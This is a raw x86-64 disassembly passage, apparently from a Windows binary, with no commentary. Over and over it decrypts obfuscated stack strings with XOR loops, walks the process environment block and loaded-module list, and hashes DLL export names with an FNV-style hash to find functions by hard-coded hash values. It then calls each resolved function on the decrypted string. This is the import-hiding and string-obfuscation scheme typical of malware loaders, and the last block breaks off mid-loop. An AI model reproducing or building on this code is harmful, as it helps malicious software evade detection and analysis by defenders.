paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140005440
cmp r8d, 0x2c
jge 0x140005580
movsxd rax, r8d
lea r9, [rbp + 0xa80]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140005550
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005616
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005616
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x92bb49e9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005611
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400055f0
cmp r8d, 0xcfc81a48
je 0x14000561b
test r9d, r9d
jne 0x1400055d0
mov rax, qword [rax]
jmp 0x1400055a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xa80]
call rdx
movups xmm0, xmmword [0x1400ac458]
movups xmmword [rbp + 0x410], xmm0
movups xmm1, xmmword [0x1400ac468]
movups xmmword [rbp + 0x420], xmm1
movzx eax, word [0x1400ac478]
mov word [rbp + 0x430], ax
movzx eax, byte [0x1400ac47a]
mov byte [rbp + 0x432], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400057c3
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x414]
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400056c0
cmp r8d, 0x23
jge 0x140005800
movsxd rax, r8d
lea r9, [rbp + 0x410]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x1400057d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005896
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005896
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x87b661ef
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005891
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005870
cmp r8d, 0xdbdf744e
je 0x14000589b
test r9d, r9d
jne 0x140005850
mov rax, qword [rax]
jmp 0x140005820
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x410]
call rdx
movups xmm0, xmmword [0x1400a15b0]
movups xmmword [rbp + 0x178], xmm0
movsd xmm0, qword [0x1400a15c0]
movsd qword [rbp + 0x188], xmm0
movzx eax, word [0x1400a15c8]
mov word [rbp + 0x190], ax
movzx eax, byte [0x1400a15ca]
mov byte [rbp + 0x192], al
mov r8d, r13d
cmp r12d, 2
jl 0x140005a43
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x17c]
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140005940
cmp r8d, 0x1b
jge 0x140005a80
movsxd rax, r8d
lea r9, [rbp + 0x178]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140005a50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005b16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005b16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xae729b91
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005b11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005af0
cmp r8d, 0x6e768e70
je 0x140005b1b
test r9d, r9d
jne 0x140005ad0
mov rax, qword [rax]
jmp 0x140005aa0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x178]
call rdx
movups xmm0, xmmword [0x1400a2570]
movups xmmword [rbp + 0x148], xmm0
mov eax, dword [0x1400a2580]
mov dword [rbp + 0x158], eax
movzx eax, byte [0x1400a2584]
mov byte [rbp + 0x15c], al
mov r8d, r13d
cmp r12d, 2
jl 0x140005cb3
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x14c]
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140005bb0
cmp r8d, 0x15
jge 0x140005cf0
movsxd rax, r8d
lea r9, [rbp + 0x148]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140005cc0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005d86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005d86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x85cde38c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005d81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005d60
cmp r8d, 0xcc1ebf85
je 0x140005d8b
test r9d, r9d
jne 0x140005d40
mov rax, qword [rax]
jmp 0x140005d10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x148]
call rdx
movups xmm0, xmmword [0x1400a1dc8]
movups xmmword [rbp + 0x870], xmm0
movups xmm1, xmmword [0x1400a1dd8]
movups xmmword [rbp + 0x880], xmm1
movsd xmm0, qword [0x1400a1de8]
movsd qword [rbp + 0x890], xmm0
movzx eax, word [0x1400a1df0]
mov word [rbp + 0x898], ax
mov r8d, r13d
cmp r12d, 2
jl 0x140005f33
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x874]
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140005e30
cmp r8d, 0x2a
jge 0x140005f70
movsxd rax, r8d
lea r9, [rbp + 0x870]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140005f40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140006006
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140006006
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xff60c4aa
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006001
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005fe0
cmp r8d, 0xa4d06693
je 0x14000600b
test r9d, r9d
jne 0x140005fc0
mov rax, qword [rax]
jmp 0x140005f90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x870]
call rdx
movups xmm0, xmmword [0x1400a05e8]
movups xmmword [rbp + 0x578], xmm0
movups xmm1, xmmword [0x1400a05f8]
movups xmmword [rbp + 0x588], xmm1
mov eax, dword [0x1400a0608]
mov dword [rbp + 0x598], eax
movzx eax, word [0x1400a060c]
mov word [rbp + 0x59c], ax
mov r8d, r13d
cmp r12d, 2
jl 0x1400061b3
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x57c]
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400060b0
cmp r8d, 0x26
jge 0x1400061f0
movsxd rax, r8d
lea r9, [rbp + 0x578]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x1400061c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140006286
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140006286
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xe8fd5074
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006281
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006260
cmp r8d, 0xbd48a30d
je 0x14000628b
test r9d, r9d
jne 0x140006240
mov rax, qword [rax]
jmp 0x140006210
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x578]
call rdx
movups xmm0, xmmword [0x1400a1818]
movups xmmword [rbp + 0x4d8], xmm0
movups xmm1, xmmword [0x1400a1828]
movups xmmword [rbp + 0x4e8], xmm1
mov eax, dword [0x1400a1838]
mov dword [rbp + 0x4f8], eax
mov r8d, r13d
cmp r12d, 2
jl 0x140006423
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x4dc]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140006320
cmp r8d, 0x24
jge 0x140006460
movsxd rax, r8d
lea r9, [rbp + 0x4d8]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140006430
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400064f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400064f6
mov rax, qword [rax]
jmp 0x140006480